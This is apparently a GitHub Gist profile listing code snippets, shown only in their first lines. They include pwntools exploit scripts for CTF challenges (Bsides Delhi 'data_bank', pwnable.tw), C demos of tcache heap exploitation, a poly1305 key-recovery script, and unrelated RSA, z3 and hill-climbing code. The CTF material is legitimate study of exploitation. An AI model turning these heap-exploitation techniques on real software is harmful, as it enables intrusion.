Skip to content

Instantly share code, notes, and snippets.

View d4em0n's full-sized avatar
🧐
learning

M Ramdhan d4em0n

🧐
learning
View GitHub Profile
@d4em0n
d4em0n / exploit.py
Created October 26, 2018 12:49
Bsides Delhi CTF data_bank exploit
from pwn import *
context.terminal = "tmux splitw -h -f".split()
#p = process("./data_bank")
p = remote("35.200.202.92", 1337)
DEBUG = 0
cmd = ""
libc = ELF('./libc.so.6')
if DEBUG:
gdb.attach(p, cmd, gdb_args=["--init-eval-command='source /ctf/tools/gef/gef.py'"])
@d4em0n
d4em0n / mantapmas.c
Created April 15, 2019 14:12
exploiting tcache: tricking malloc to return arbitrary fake chunk
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void setbff(void)
{
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
@d4em0n
d4em0n / hhhhh.c
Created April 15, 2019 14:46
exploiting tcache: overwrite malloc_hook without libc leak
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void setbff(void)
{
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
@d4em0n
d4em0n / exploit.py
Last active July 7, 2019 02:42
pwnable.tw - secret of my heart
from pwn import *
context.terminal = "tmux splitw -h -f".split()
#p = process("./secret_of_my_heart", env={"LD_PRELOAD":"./libc_64.so.6"})
p = remote("chall.pwnable.tw", 10302)
libc = ELF("./libc_64.so.6")
DEBUG = 0
cmd = ""
if DEBUG:
gdb.attach(p, cmd, gdb_args=["--init-eval-command='source ~/ctf/tools/gef/gef.py'"])
from z3 import *
"""
Riddle :
Cari nilai [x1, x2, x3]
Clue:
[6, 8, 2] (satu angka benar dan posisinya benar)
[6, 4, 5] (satu angka benar dan posisinya salah)
[2, 0, 6] (dua angka benar tetapi posisinya salah)
[7, 3, 8] (tidak ada angka yang benar)
[7, 8, 0] (satu angka benar tetapi posisinya salah)
@d4em0n
d4em0n / solve.py
Last active August 31, 2020 07:45
poly1305 key recovering from pair of 32 bytes message and tag
#!/usr/bin/env python3
import gmpy2
import binascii
key = binascii.unhexlify("85:d6:be:78:57:55:6d:33:7f:44:52:fe:42:d5:06:a8:01:03:80:8a:fb:0d:b2:fd:4a:bf:f6:af:41:49:f5:1b".replace(":", ""))
def clamp(r):
return r & 0x0ffffffc0ffffffc0ffffffc0fffffff
def poly_mac(msg, key):
@d4em0n
d4em0n / confusion_matrix_pretty_print.py
Created April 15, 2020 08:29 — forked from shaypal5/confusion_matrix_pretty_print.py
Pretty print a confusion matrix with seaborn
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
def print_confusion_matrix(confusion_matrix, class_names, figsize = (10,7), fontsize=14):
"""Prints a confusion matrix, as returned by sklearn.metrics.confusion_matrix, as a heatmap.
Arguments
---------
confusion_matrix: numpy.ndarray
@d4em0n
d4em0n / rsa.py
Created May 23, 2020 02:41
RSA given p, q
def mod_inverse(x,y):
# See: http://en.wikipedia.org/wiki/Extended_Euclidean_algorithm
def eea(a,b):
if b==0:return (1,0)
(q,r) = (a//b,a%b)
(s,t) = eea(b,r)
return (t, s-(q*t) )
inv = eea(x,y)[0]
@d4em0n
d4em0n / main.py
Last active June 19, 2020 07:58
optimum point hill climbing
from math import *
#points = [(2,2),(3,4),(4,2),(5,4)]
points = []
def euclid_length(x1,y1,x2,y2):
return sqrt((x1-x2)**2 + (y1-y2)**2)
def derivx_euclid_length(x1,y1,x2,y2):
return (x1-x2)/sqrt((x1-x2)**2 + (y1-y2)**2)
@d4em0n
d4em0n / Main.java
Created June 19, 2020 14:00
hill climbing java
import java.lang.Math;
import java.util.ArrayList;
class Point {
public double x;
public double y;
public Point(double x, double y) {
this.x = x;
this.y = y;
}